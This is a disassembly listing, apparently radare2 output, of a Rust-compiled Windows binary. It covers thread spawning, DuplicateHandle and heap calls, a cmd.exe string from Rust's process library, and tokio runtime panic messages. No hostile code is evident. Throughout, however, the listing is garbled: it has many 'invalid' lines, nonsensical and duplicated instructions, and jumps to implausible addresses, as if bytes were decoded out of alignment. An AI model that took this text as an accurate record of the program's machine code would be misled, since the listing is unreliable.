mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
mov word [rax + rdx*2], 0x22
inc rdx
mov qword [rsi + 0x10], rdx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x50]
je 0x140089294
and al, 0x50
push rax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov rcx, rsi
mov r8, rdi
call fcn.1400a3250
add dword [rax], eax
mov rdx, qword [rsi + 0x10]
jmp 0x1400891e7
invalid
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and al, 0x28
add dword [rax], eax
add byte [rax], al
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
xor byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rdx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
lea rcx, [rsp + 0x20]
call fcn.1400a4370
ud2
invalid
int3
int3
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rsi, rcx
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.140081ca0
mov r14, qword [rsp + 0x20]
invalid
and byte [rbp - 0x7b], cl
test byte [rdi], 0x84
pop qword [rax]
add byte [rax], al
invalid
test r14, r14
je 0x14008939a
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
jl 0x140089333
lea rdi, [rsp + 0x20]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
sbb eax, 0x20019
and byte [rax - 0x75], cl
sbb eax, 0x20019
jmp 0x140089335
add byte [rax], al
mov rcx, rdi
mov rdx, rsi
call fcn.140081ca0
mov r14, qword [rsp + 0x20]
and al, 0x20
test r14, r14
je 0x14008939a
mov r15, qword [rsp + 0x30]
imul rax, r15, 0x38
lea r12, [r14 + rax]
add r12, 0x168
cmp qword [r14 + rax + 0x188], 0
je 0x140089364
mov r8, qword [r12 + 0x18]
mov rcx, qword [0x1400f0220]
add byte [rcx], dh
sar bh, cl
ror dword [rcx - 0x7d], cl
jl 0x14008938c
xor edx, edx
call rbx
cmp qword [r12 + 8], 0
or byte [rax], al
je case.0x14008165d.51
mov r8, qword [r12]
mov rcx, qword [0x1400f0220]
xor edx, edx
call rbx
shl r15, 5
cmp qword [r14 + r15 + 8], 0
je 0x140089320
add r14, r15
mov r8, qword [r14]
mov rcx, qword [0x1400f0220]
xor edx, edx
call rbx
jmp 0x140089320
invalid
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
sub esp, 0x100
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x78], 0xfffffffffffffffe
mov esi, edx
mov eax, dword [rcx]
lea rdx, [0x1400e825c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
add byte [rax - 0x39], cl
js 0x1400893c8
js 0x1400893c8
invalid
mov ecx, esi
jmp 0x1400894d5
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x140089549
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x39], cl
cmp byte [r8], r8b
add byte [rax], al
add bh, bh
adc eax, 0x1fd95
invalid
mov qword [rbp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
invalid
add bh, al
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x38]
lea ecx, [rbp + 0x38]
mov rcx, rax
mov rdx, rdi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x140089537
mov rax, qword [rbp + 0x38]
jmp 0x14008954b
mov dword [rbp + 0x38], 0
mov dword [rbp + 0x58], 0
add byte [rax], al
add byte [rsi - 0x39], ah
pop r12
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
pop r12
add byte [rax], al
movaps xmm0, xmmword [0x1400a9900]
movups xmmword [rbp + 0x48], xmm0
cmp esi, 0xfffffff6
sete byte [rbp + 0x58]
mov dword [rbp - 0x38], 0x18
setne byte [rbp + 0x59]
mov qword [rbp - 0x30], 0
mov dword [rbp - 0x28], 1
lea rax, [rbp - 0x38]
mov qword [rbp + 0x40], rax
lea rcx, str.NULcmd.exemaximum_number_of_ProcThreadAttributes_exceeded
lea r8, [rbp + 0x38]
mov edx, 3
call fcn.14007cdd0
mov rbx, rdx
jmp 0x140089868
mov rdi, r8
cmp esi, 0xfffffff6
setne dl
lea rcx, [rbp + 0x38]
call fcn.14008a560
cmp qword [rbp + 0x38], 0
mov rsi, qword [rbp + 0x40]
mov eax, 1
je 0x140089581
mov rbx, rsi
jmp 0x140089868
mov ecx, dword [rcx + 4]
call fcn.14008a3f0
mov rbx, rdx
jmp 0x140089868
mov rsi, qword [rcx + 8]
test rsi, rsi
je 0x1400895a7
mov qword [rbp + 0x38], 0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x38]
mov rcx, rax
mov rdx, rsi
mov r8, rax
call qword [sym.imp.kernel32.dll_DuplicateHandle]
test eax, eax
je 0x140089537
mov rbx, qword [rbp + 0x38]
xor eax, eax
jmp 0x140089868
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
jmp 0x140089577
xor eax, eax
mov qword [rbp + 0x20], rax
cmp esi, 0xfffffff6
setne dl
mov byte [rbp + 0x6c], 1
lea rcx, [rbp + 0x38]
call fcn.14008a560
cmp qword [rbp + 0x38], 0
mov rbx, qword [rbp + 0x40]
je 0x1400895b0
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
jmp 0x140089868
mov rbx, qword [rbp + 0x48]
cmp qword [rdi], 0
je 0x140089595
mov rcx, qword [rdi + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rdi], 1
mov qword [rdi + 8], rsi
xor eax, eax
jmp 0x140089868
xor ebx, ebx
xor eax, eax
jmp 0x140089868
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x18], rax
cmp esi, 0xfffffff6
mov rax, qword [rbp + 0x20]
mov rcx, rax
cmovne rcx, rbx
mov qword [rbp], rcx
cmovne rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rbp - 0x40], 0
mov byte [rbp + 0x72], 1
mov byte [rbp + 0x71], 1
mov byte [rbp + 0x70], 1
call fcn.14008ae00
mov rsi, rax
mov byte [rbp + 0x72], 0
mov byte [rbp + 0x71], 1
mov byte [rbp + 0x70], 1
xor ecx, ecx
call fcn.140074f50
mov qword [rbp + 0x28], rax
lock inc qword [rax]
jle 0x140089879
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x38], 1
mov qword [rbp + 0x40], 1
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
je 0x140089643
mov r14, qword [rbp + 0x30]
jmp 0x140089660
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov r14, qword [rbp + 0x30]
je 0x14008987d
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008987d
movups xmm0, xmmword [rbp + 0x38]
movups xmm1, xmmword [rbp + 0x48]
movups xmm2, xmmword [rbp + 0x58]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rbp + 0x10], rax
lock inc qword [rax]
jle 0x140089879
mov qword [rbp - 0x10], rax
movzx eax, byte [0x1400f0150]
test al, al
je 0x1400896e0
mov byte [0x1400f0150], 1
mov qword [rbp + 0x38], 0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd8], 0
je 0x1400896ea
lea rax, [rax + 0xe0]
jmp 0x1400896fc
mov qword [rbp + 8], 0
jmp 0x14008971d
call fcn.140080680
test rax, rax
mov r14, qword [rbp + 0x30]
je 0x140089987
mov rdi, qword [rax]
mov qword [rax], 0
mov qword [rbp + 8], rdi
test rdi, rdi
je 0x14008971d
lock inc qword [rdi]
jle 0x140089879
xor ebx, ebx
jmp 0x14008972c
movzx eax, byte [0x1400f0150]
test al, al
je 0x140089785
mov bl, 1
xor edi, edi
mov byte [0x1400f0150], 1
mov qword [rbp + 0x38], rdi
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd8], 0
je 0x14008975d
lea rax, [rax + 0xe0]
jmp 0x14008976f
call fcn.140080680
test rax, rax
mov r14, qword [rbp + 0x30]
je 0x140089942
mov rcx, qword [rax]
mov qword [rax], rdi
test rcx, rcx
je 0x140089785
lock dec qword [rcx]
jne 0x140089785
call fcn.140080750
mov rax, qword [rbp - 8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r14
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
mov rdi, qword [rbp + 0x10]
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x1400897c1
lock inc qword [rcx + 0x18]
jle 0x1400898f8
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x1400897ed
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140089891
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140089891
mov rcx, qword [rbp - 0x18]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rbp - 0x38]
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov byte [rbp + 0x77], 0
lea r8, fcn.14008b020
mov rcx, rsi
mov rdx, rax
call fcn.14008b090
mov rsi, rdx
test rax, rax
jne 0x1400898a5
mov rbx, qword [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x140089854
mov rcx, rbx
call fcn.1400758f0
lock dec qword [rdi]
jne 0x140089862
mov rcx, rdi
call fcn.14008b240
xor eax, eax
mov rbx, qword [rbp + 0x18]
mov rdx, rbx
add rsp, 0x100
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
ud2
mov ecx, 8
mov edx, 0x30
call fcn.1400a42a0
jmp 0x1400899b3
mov ecx, 8
mov edx, 0x28
call fcn.1400a42a0
jmp 0x1400899b3
lock dec qword [rdi]
jne 0x1400898b4
mov rcx, qword [rbp + 0x10]
call fcn.14008b240
mov rax, qword [rbp + 0x28]
lock dec qword [rax]
jne 0x1400898c7
mov rcx, qword [rbp + 0x28]
call fcn.1400758f0
mov qword [rbp + 0x38], rsi
lea rax, [0x1400e06d8]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.1400777b0
lea r8, [rbp + 0x38]
mov edx, 0x16
call fcn.1400a48c0
jmp 0x1400899b3
add rcx, 0x10
mov byte [rbp + 0x77], 1
xor edx, edx
call fcn.1400776a0
lea rax, str.too_many_running_threads_in_thread_scope_b
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x77], 1
lea rdx, str.library_std_src_thread_scoped.rs_
lea rcx, [rbp + 0x38]
call fcn.1400a4370
jmp 0x1400899b3
test bl, bl
jne 0x140089955
lock dec qword [rdi]
jne 0x140089955
mov rcx, qword [rbp + 0x38]
call fcn.140080750
mov byte [rbp + 0x75], 0
mov byte [rbp + 0x74], 1
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400dfdb0]
lea r8, [rbp + 0x38]
mov edx, 0x46
call fcn.1400a48c0
jmp 0x1400899b3
mov byte [rbp + 0x76], 1
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400dfdb0]
lea r8, [rbp + 0x38]
mov edx, 0x46
call fcn.1400a48c0
ud2
xor bh, bh
adc eax, 0x14c96
lock dec qword [rdi]
jne 0x140094672
mov rcx, qword [rsp + 0x20]
call fcn.1400936a0
mov rax, qword [rsp + 0x28]
lock dec qword [rax]
jne 0x140094687
lea rcx, [rsp + 0x28]
call fcn.140063230
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
movdqa xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x20], xmm0
lock dec qword [r13 + 0xf8]
mov rax, 0xffffffffffffffff
lock xadd qword [r13 + 0x100], rax
mov rcx, qword [r13 + 0x100]
cmp rax, rcx
jb 0x1400948a0
cmp byte [r13 + 0xc4], 0
je 0x1400946e7
mov rax, qword [r13 + 0xf8]
test rax, rax
jne 0x1400946e7
mov rdx, qword [r14]
test rdx, rdx
jne 0x140094824
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx], cl
jne 0x14009480d
mov rax, qword [r13 + 0xe0]
test rax, rax
je 0x14009471d
mov rdx, qword [r13 + 0xe8]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
cmp qword [rsp + 0x20], 0
je 0x140094763
lea rcx, [rsp + 0x20]
call fcn.140094a80
test rax, rax
je 0x140094763
cmp qword [r14 + 8], 0
je 0x140094763
cmp qword [r14 + 0x10], 0x11
jb 0x140094751
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
add dword [rax], eax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
lock dec qword [rax]
jne 0x14009477c
lea rcx, [rsp + 0x60]
call fcn.140093600
lea rcx, [rsp + 0x40]
call fcn.140094c20
mov rax, qword [rsp + 0x40]
cmp rax, 2
je 0x1400947bd
lea rcx, [rsp + 0x48]
test rax, rax
je 0x1400947ad
cmp qword [rsi], 0
je 0x1400947d8
mov rcx, rbx
call fcn.1400a5c60
jmp 0x1400946f5
mov rcx, r14
call fcn.1400a5610
jmp 0x1400946e7
lea rax, str.num_idle_threads_underflowed_on_thread_exit
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
lea rdx, [0x1400e5698]
lea rcx, [rsp + 0x60]
call fcn.1400a4370
ud2
add byte [rcx], al
add byte [rax], al
add byte [rcx + 0x14cb8], cl
add qword [rax], r8
add qword [rax], r8
add byte [rcx + 0x150b0], cl
add byte [rax - 0x7d], cl
invalid
std
in eax, 4
add byte [rbp + rcx*4 + 5], cl
invalid
add eax, 0x4e69e
sahf
out 4, al
add byte [rdx + 0x2e], bh
mov edx, 0x2e
call fcn.1400a4530
ud2
lea rax, [0x1400e3608]
add al, 0
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0x4dd4f
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1400e3400]
lea r8, [rsp + 0x2f]
and al, 0x2f
and al, 0x2f
mov edx, 0x46
call fcn.1400a48c0
invalid
add byte [rax], al
add al, ch
mov eax, esi
add byte [rax], al
add byte [rdi], cl
or ecx, esp
int3
ud2
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r12, rcx
mov esp, ecx
mov esp, ecx
mov rdi, qword [rcx]
mov r15, qword [rdi + 0x58]
test r15, r15
je 0x1400958f9
invalid
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x20
mov qword [rsp + 0x20], r12
mov rax, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x40]
mov rcx, qword [rdi + 0x48]
xor edx, edx
cmp rax, rcx
mov r8, rcx
enter 0xf4c, 0x42
ret 0x294c
ror byte [rcx - 0x77], 0xcc
enter 0xf4c, 0x42
ret 0x294c
ror byte [rcx - 0x77], 0xcc
sub r12, rax
lea r13, [rax + r15]
cmp r12, r15
cmovb r13, rcx
jmp 0x18e07e1e5
sub esi, esp
jmp 0x18e07e1e5
cmovb r14, rdx
sub r13, rax
sub r13, rax
jne 0x140095944
cmp r12, r15
mov r12, qword [rsp + 0x20]
mov esp, dword [rsp + 0x20]
mov esp, dword [rsp + 0x20]
and byte [rbx + 0x48], dh
jae 0x1400958f9
xor esi, esi
jmp 0x1400958c8
imul bl
adc esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
inc rsi
cmp r14, rsi
je 0x1400958f9
mov rcx, qword [rbx + rsi*8]
mov rax, 0xffffffffffffffc0
mov eax, 0xffffffc0
mov eax, 0xffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14009598b
invalid
add byte [rax], al
invalid
test eax, 0x48000000
and eax, 0xffffffc0
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400958c0
mov rcx, qword [rbx + rsi*8]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
adc bl, ch
invalid
cmp qword [rdi + 0x48], 0
je 0x140095913
mov r8, qword [rdi + 0x40]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rdi], 2
je 0x140095920
mov rcx, rdi
call fcn.140093d50
mov r8, qword [r12]
mov rcx, qword [0x1400f0220]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rbp, [rbx + rax*8]
xor esi, esi
jmp 0x14009595c
inc rsi
cmp r13, rsi
je 0x1400958a7
mov rcx, qword [rbp + rsi*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14009598b
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140095950
mov rcx, qword [rbp + rsi*8]
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x140095950
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400e54d0]
mov edx, 0x27
call fcn.1400a4530
ud2
add byte [rax], al
lea rcx, [rsp + 0x20]
call fcn.140077890
mov ecx, edx
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
xor r8d, r8d
cmp edx, 0x3b9aca00
cmove rax, r8
cmove ecx, r8d
mov edx, 0x3e8
mul rdx
add rcx, rax
add ecx, eax
add ecx, eax
adc rdx, 0
mov rax, 0xfffffffffffffffd
cmove rax, rcx
sub r15, rax
cmovb r15, r8
mov rax, r15
shr rax, 3
movabs rcx, 0x20c49ba5e353f7cf
mul rcx
mov r8, rdx
shr r8, 4
imul ecx, r8d, 0x3e8
mov eax, r15d
sub eax, ecx
cmp r15, 0x3e7
ja 0x140095af9
test eax, eax
jne 0x140095af9
cmp byte [rbx + 0x30], 2
jne 0x140095b37
mov rcx, qword [rbx]
xor edx, edx
mov eax, 2
lock cmpxchg qword [rcx + 0x10], rdx
jmp 0x140095bee
imul r9d, eax, 0xf4240
cmp ebp, 0x3b9aca00
je 0x140095b1a
cmp r8, r14
ja 0x140095b14
jne 0x140095b1a
cmp r9d, ebp
jb 0x140095b1a
mov r8, r14
mov r9d, ebp
cmp byte [rbx + 0x30], 2
jne 0x140095b52
mov rcx, qword [rbx]
add rcx, 0x10
mov rdx, r8
mov r8d, r9d
call fcn.1400963d0
jmp 0x140095bee
cmp qword [rdi], 0
je 0x140095c96
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
jmp 0x140095be9
cmp qword [rdi], 0
je 0x140095c96
mov rcx, rbx
mov rdx, rdi
jmp 0x140095be9
call fcn.140095cc0
call fcn.14008e060
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], edx
push rsp
and al, 0x28
and al, 0x28
mov rdx, qword [rdi + 0xa0]
mov r8d, dword [rdi + 0xa8]
lea rcx, [rsp + 0x20]
call fcn.140077890
mov ecx, edx
ror dword [rax + 0x69], 1
leave
sbb esi, 0x1b
shr rcx, 0x32
ror dword [rax + 0x69], 1
leave
sbb esi, 0x1b
shr rcx, 0x32
xor r8d, r8d
cmp edx, 0x3b9aca00
add dl, cl
invalid
invalid
rol byte [rcx - 0x6535ff06], 0x3b
add dl, cl
invalid
cmove rax, r8
cmove ecx, r8d
mov edx, 0x3e8
mul rdx
add rcx, rax
adc rdx, 0
mov rdx, 0xfffffffffffffffd
invalid
invalid
dec dword [rax + 0xf]
ror dword [rax - 0x77], 1
int1
add rsp, 0x40
pop rbx
pop rbp
pop rdi
invalid
pop rsi
pop r12
pop r14
pop r15
jmp fcn.140096590
lea rcx, [0x1400e3f20]
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_timemod.rs
mov edx, 0x73
call fcn.1400a4960
ud2
lea ecx, str.assertion_failed:__handle.is_shutdown__
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_timemod.rs
mov edx, 0x27
invalid
add byte [rax], al
add al, ch
pushfq
invalid
add byte [rax], al
invalid
add al, ch
pushfq
call 0x14b185c96
add byte [rax], al
ud2
add byte [rax], al
ud2
lea rcx, str.A_Tokio_1.x_context_was_found__but_IO_is_disabled._Call__enable_io__on_the_runtime_builder_to_enable_IO.A_Tokio_1.x_context_was_found__but_timers_are_disabled._Call__enable_time__on_the_runtime_builder_to_enable_timers.Oh_no__We_never_placed_the_Core_back__this_is_a_bug_
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
add bl, ch
invalid
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
mov edx, 0x68
call fcn.1400a4960
ud2
or eax, dword [rcx + 0x57]
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x35], al
mov rdi, r8
mov rsi, rcx
mov rax, qword [rdx + 0x18]
test rax, rax
je 0x140095def
add byte [rax], al
add byte [rax], al
mov r14, rdx
mov esi, edx
mov qword [rsp + 0x40], rdi
mov cl, 1
jl 0x140095d1c
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdx + 0x20], cl
jne 0x140096058
mov r12, qword [r14 + 0x28]
mov r13, qword [r14 + 0x38]
mov qword [r14 + 0x38], 0
mov dword [rsi + 0x38], 0
sub byte [rbp - 0x75], cl
outsb dx, byte [rsi]
cmp byte [rcx - 0x39], cl
invalid
mov dword [rsi + 0x38], 0
cmp byte [rax], r8b
add byte [rax], al
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x140095dd2
test byte [rcx + 0x49000000], dh
lea rbp, [r14 + 0x48]
lea ebp, [rsi + 0x48]
shl r13, 3
xor edi, edi
xorps xmm6, xmm6
jmp 0x140095d3d
imul bl
or eax, 0x8c78348
cmp r13, rdi
je 0x140095dd2
mov r15, qword [r12 + rdi]
mov edi, dword [rsp + rdi]
lea rax, [r15 + 0x80]
mov rcx, qword [r15 + 0x80]
test rcx, rcx
je 0x140095d80
mov rdx, qword [r15 + 0x88]
mov qword [rcx + 8], rdx
mov rcx, qword [r15 + 0x88]
test rcx, rcx
jne 0x140095da0
cmp qword [r14 + 0x40], rax
jne 0x140095dbb
mov qword [r14 + 0x18], 0
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r14 + 0x20], cl
cmpxchg byte [r14 + 0x20], cl
cmpxchg byte [r14 + 0x20], cl
mov rdi, qword [rsp + 0x40]
jne 0x140096066
jl 0x140095e0c
jne 0x140096066
mov r14, qword [rsi + 0x28]
mov qword [rsi + 0x20], 0
mov r8, qword [rsi]
mov r9, qword [rsi + 8]
invalid
or byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x140095e34
mov rax, r9
shl rax, 5
loopne 0x140095e13
xor ecx, ecx
xorps xmm0, xmm0
invalid
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rax], al
invalid
nop word cs:[rax + rax]
movups xmmword [r8 + rcx + 0xc], xmm0
movups xmmword [r8 + rcx], xmm0
add rcx, 0x20
and byte [rax + 0x39], cl
invalid
jne 0x140095e20
add r14, 0x10
adc byte [rcx - 0x6535ff05], al
cmp esi, dword [rbp + 0x46]
jne 0x140095e86
cmp ebx, 0x3b9aca00
jne 0x140095e86
lea rbx, [rsi + 0x10]
lea rdi, [rsp + 0x50]
nop dword [rax]
mov r8, qword [rsi]
mov r9, qword [rsi + 8]
mov qword [rsp + 0x20], rbx
pop rsp
and al, 0x20
pop rsp
and al, 0x20
mov dword [rsp + 0x30], 0x3b9aca00
mov rcx, rdi
mov rdx, r14
call fcn.14004ca90
cmp qword [rsp + 0x50], 0
mov r15, qword [rsp + 0x58]
jne 0x140095eb8
test r15, r15
je 0x140095e50
jmp 0x140095f5d
lea rax, [rsi + 0x10]
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.14004ca90
cmp qword [rsp + 0x50], 0
je 0x140095f5d
mov r15, qword [rsp + 0x58]
jmp 0x140095ec1
test r15, r15
je 0x140095f5d
add byte [rax], al
add byte [rax], al
mov edi, r15d
and edi, 3
add ecx, dword [rax - 0x73]
add eax, 0x523a6
add ecx, dword [rax - 0x73]
add eax, 0x523a6
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
movzx eax, byte [r15 + 0x10]
jmp 0x140095eea
shr rcx, 0x20
call fcn.140077f60
cmp al, 0x23
jne 0x140096077
cmp edi, 1
je 0x140095f15
jmp 0x140095f5d
cmp byte [r15 + 0xf], 0x23
jne 0x140096077
lea rdi, [r15 - 1]
mov rbx, qword [r15 - 1]
mov r14, qword [r15 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140095f4b
cmp qword [r14 + 0x10], 0x11
jb 0x140095f39
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
jmp 0x140095f74
mov byte [rsi + 0x30], 1
cmp qword [rsi + 0x20], rdi
jbe 0x14009603c
mov rax, qword [rsi + 0x10]
mov rdx, rdi
shl rdx, 4
inc rdi
mov rcx, qword [rax + rdx]
test rcx, rcx
je 0x140095f74
cmp rcx, 1
je 0x140095f70
mov edx, dword [rax + rdx + 8]
xor eax, eax
test edx, 0x199
setne al
lea r8, [rax + 2]
test edx, 0x114
cmove r8, rax
lea rax, [r8 + 4]
test edx, 0x118
cmove rax, r8
lea r8, [rax + 8]
test edx, 0x110
cmove r8, rax
shr edx, 3
and edx, 0x20
or rdx, r8
mov rax, qword [rcx + 0x10]
mov r8, rdx
and r8, 0xffffffff8000ffff
nop dword [rax + rax]
mov r9d, eax
mov r10d, eax
shr r10d, 0x10
and r10d, 0x7fff
mov r11, r10
shl r11, 0x10
add r11, 0x10000
and r9d, 0x2f
cmp r10d, 0x7fff
mov r10d, 0
cmovne r10, r11
or r9, r8
or r9, r10
lock cmpxchg qword [rcx + 0x10], r9
jne 0x140095ff0
call fcn.140093a30
jmp 0x140095f74
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [r14 + 0x20]
call fcn.1400a5fa0
jmp 0x140095d08
add r14, 0x20
mov rcx, r14
call fcn.1400a5c60
jmp 0x140095def
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x48]
mov qword [rsp + 0x80], rax
lea rax, case.0x14007ef94.12
mov qword [rsp + 0x88], rax
lea rax, str.unexpected_error_when_polling_the_I_O_driver:
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
